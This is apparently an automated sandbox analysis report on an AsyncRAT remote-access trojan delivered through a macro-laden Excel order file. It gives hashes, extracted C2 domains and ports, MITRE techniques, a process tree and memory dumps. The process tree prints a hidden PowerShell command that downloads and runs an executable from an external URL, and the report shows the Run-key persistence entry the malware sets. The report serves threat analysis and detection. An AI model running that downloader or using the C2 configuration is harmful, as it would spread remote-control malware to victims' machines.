asyncrat | 7508dd55323850161d037626592fc56eb6be4cc917c68ba90f3c5866f5c2b59d

Analysis

max time kernel
135s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
16-03-2023 02:56

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General

Target

ORDER-230316.xlsm
Size

41KB
MD5

91b915d7c1079e51e241748a006da03c
SHA1

846a9d44011340ebc31439f316efc2d1e5b279a6
SHA256

7508dd55323850161d037626592fc56eb6be4cc917c68ba90f3c5866f5c2b59d
SHA512

e40c725e1ca805ea9613e6f8f77f1119337e5bda49b6f5cd1f3cd7aa9f4f4da2aa744ec86cc6c5d7f264173390148ba07cc7968c22d340aceea31df5d3bf54c2
SSDEEP

768:iATtXvQ04qta8v+nWE8hMBIJYfTH+niSplFFiKk/fsgvRag+neWM:VxvSqJv+xG1BjFFi3/Egvg/e9

Score

10^/10

asyncrat latest persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

LATEST

chongmei33.publicvm.com:2703

chongmei33.publicvm.com:49746

chongmei33.publicvm.com:6974

chonglee575.duckdns.org:2703

chonglee575.duckdns.org:49746

chonglee575.duckdns.org:6974

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_file
update.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2260	1804	powershell.exe	EXCEL.EXE

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/340-190-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

36 2260 powershell.exe
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tmpC25.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation tmpC25.exe
Executes dropped EXE 5 IoCs

Processes:

tmpC25.exetmpC25.exetmpC25.exetmpC25.exetmpC25.exe

pid process

4856 tmpC25.exe
4164 tmpC25.exe
4388 tmpC25.exe
60 tmpC25.exe
340 tmpC25.exe

flow	pid	process
36	2260	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	tmpC25.exe

pid	process
4856	tmpC25.exe
4164	tmpC25.exe
4388	tmpC25.exe
60	tmpC25.exe
340	tmpC25.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

tmpC25.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "\"C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe\""	tmpC25.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

tmpC25.exe

description pid process target process

PID 4856 set thread context of 340 4856 tmpC25.exe tmpC25.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 4856 set thread context of 340	4856	tmpC25.exe	tmpC25.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exeipconfig.exe

pid process

2656 ipconfig.exe
4716 ipconfig.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1804 EXCEL.EXE

pid	process
2656	ipconfig.exe
4716	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exetmpC25.exe

pid	process
2260	powershell.exe
2260	powershell.exe
2260	powershell.exe
4856	tmpC25.exe
4856	tmpC25.exe
4856	tmpC25.exe
4856	tmpC25.exe
4856	tmpC25.exe
4856	tmpC25.exe
4856	tmpC25.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetmpC25.exetmpC25.exe

description pid process

Token: SeDebugPrivilege 2260 powershell.exe
Token: SeDebugPrivilege 4856 tmpC25.exe
Token: SeDebugPrivilege 340 tmpC25.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1804 EXCEL.EXE
1804 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	4856	tmpC25.exe
Token: SeDebugPrivilege	340	tmpC25.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE
1804	EXCEL.EXE

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

EXCEL.EXEpowershell.exetmpC25.execmd.execmd.exe

description	pid	process	target process
PID 1804 wrote to memory of 2260	1804	EXCEL.EXE	powershell.exe
PID 1804 wrote to memory of 2260	1804	EXCEL.EXE	powershell.exe
PID 2260 wrote to memory of 4856	2260	powershell.exe	tmpC25.exe
PID 2260 wrote to memory of 4856	2260	powershell.exe	tmpC25.exe
PID 2260 wrote to memory of 4856	2260	powershell.exe	tmpC25.exe
PID 4856 wrote to memory of 3784	4856	tmpC25.exe	cmd.exe
PID 4856 wrote to memory of 3784	4856	tmpC25.exe	cmd.exe
PID 4856 wrote to memory of 3784	4856	tmpC25.exe	cmd.exe
PID 3784 wrote to memory of 4716	3784	cmd.exe	ipconfig.exe
PID 3784 wrote to memory of 4716	3784	cmd.exe	ipconfig.exe
PID 3784 wrote to memory of 4716	3784	cmd.exe	ipconfig.exe
PID 4856 wrote to memory of 2932	4856	tmpC25.exe	cmd.exe
PID 4856 wrote to memory of 2932	4856	tmpC25.exe	cmd.exe
PID 4856 wrote to memory of 2932	4856	tmpC25.exe	cmd.exe
PID 2932 wrote to memory of 2656	2932	cmd.exe	ipconfig.exe
PID 2932 wrote to memory of 2656	2932	cmd.exe	ipconfig.exe
PID 2932 wrote to memory of 2656	2932	cmd.exe	ipconfig.exe
PID 4856 wrote to memory of 4164	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 4164	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 4164	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 4388	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 4388	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 4388	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 60	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 60	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 60	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe
PID 4856 wrote to memory of 340	4856	tmpC25.exe	tmpC25.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ORDER-230316.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://2m-store.com/megaa-store.com/public/wp.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260

C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC25.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4856

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ipconfig /release
4⤵
- Suspicious use of WriteProcessMemory
PID:3784

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /release
5⤵
- Gathers network information
PID:4716

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ipconfig /renew
4⤵
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /renew
5⤵
- Gathers network information
PID:2656

C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
4⤵
- Executes dropped EXE
PID:4164

C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
4⤵
- Executes dropped EXE
PID:4388

C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
4⤵
- Executes dropped EXE
PID:60

C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:340

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\tmpC25.exe.log
Filesize
1KB

MD5
7e88081fcf716d85992bb3af3d9b6454

SHA1
2153780fbc71061b0102a7a7b665349e1013e250

SHA256
5ffb4a3ea94a6a53c4f88e2191c6fec5fd8a7336e367aa113fe8c12631e0c4d2

SHA512
ec606e14367ae221c04f213a61a6f797034495121198e4788e3afa4aa8db67bf59c5c5210a56afae5557158e8923b013b371b84c7d64303618c5b4c57a2224f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gr3vqvof.vu3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC25.exe
Filesize
2.8MB

MD5
604352a51c64f59c25a04991f42a4418

SHA1
29d4fafa442693ae60f92816aa7f55e3a215fd3c

SHA256
43639284cc83ca4b36e9996c616e4dae98fe4e49b2878bb0d4fc07d3fd8ed0ff

SHA512
e51cf68cdee9242996f0b7d7d11d812e27b30fc8f7628aff4c066251c41d18144692be2bfd6a45cfb50ef4d70f3e6e1e2e5a53dc5af0af6f5065d9bf14d7a96c

Download Submit
memory/340-201-0x00000000062D0000-0x0000000006874000-memory.dmp

Filesize
5.6MB

Download
memory/340-190-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/340-195-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/340-198-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/340-202-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Filesize
408KB

Download
memory/340-200-0x0000000005C80000-0x0000000005D1C000-memory.dmp

Filesize
624KB

Download
memory/1804-215-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-133-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-135-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-136-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-138-0x00007FF932AD0000-0x00007FF932AE0000-memory.dmp

Filesize
64KB

Download
memory/1804-214-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-216-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-217-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-137-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-134-0x00007FF935270000-0x00007FF935280000-memory.dmp

Filesize
64KB

Download
memory/1804-139-0x00007FF932AD0000-0x00007FF932AE0000-memory.dmp

Filesize
64KB

Download
memory/2260-168-0x00000156DB3D0000-0x00000156DB3E0000-memory.dmp

Filesize
64KB

Download
memory/2260-169-0x00000156DB3D0000-0x00000156DB3E0000-memory.dmp

Filesize
64KB

Download
memory/2260-167-0x00000156DB3D0000-0x00000156DB3E0000-memory.dmp

Filesize
64KB

Download
memory/2260-159-0x00000156DB3D0000-0x00000156DB3E0000-memory.dmp

Filesize
64KB

Download
memory/2260-158-0x00000156DB3D0000-0x00000156DB3E0000-memory.dmp

Filesize
64KB

Download
memory/2260-157-0x00000156C31E0000-0x00000156C3202000-memory.dmp

Filesize
136KB

Download
memory/4856-186-0x0000000005E90000-0x0000000005EB2000-memory.dmp

Filesize
136KB

Download
memory/4856-185-0x0000000005C00000-0x0000000005C10000-memory.dmp

Filesize
64KB

Download
memory/4856-184-0x0000000000EB0000-0x0000000001182000-memory.dmp

Filesize
2.8MB

Download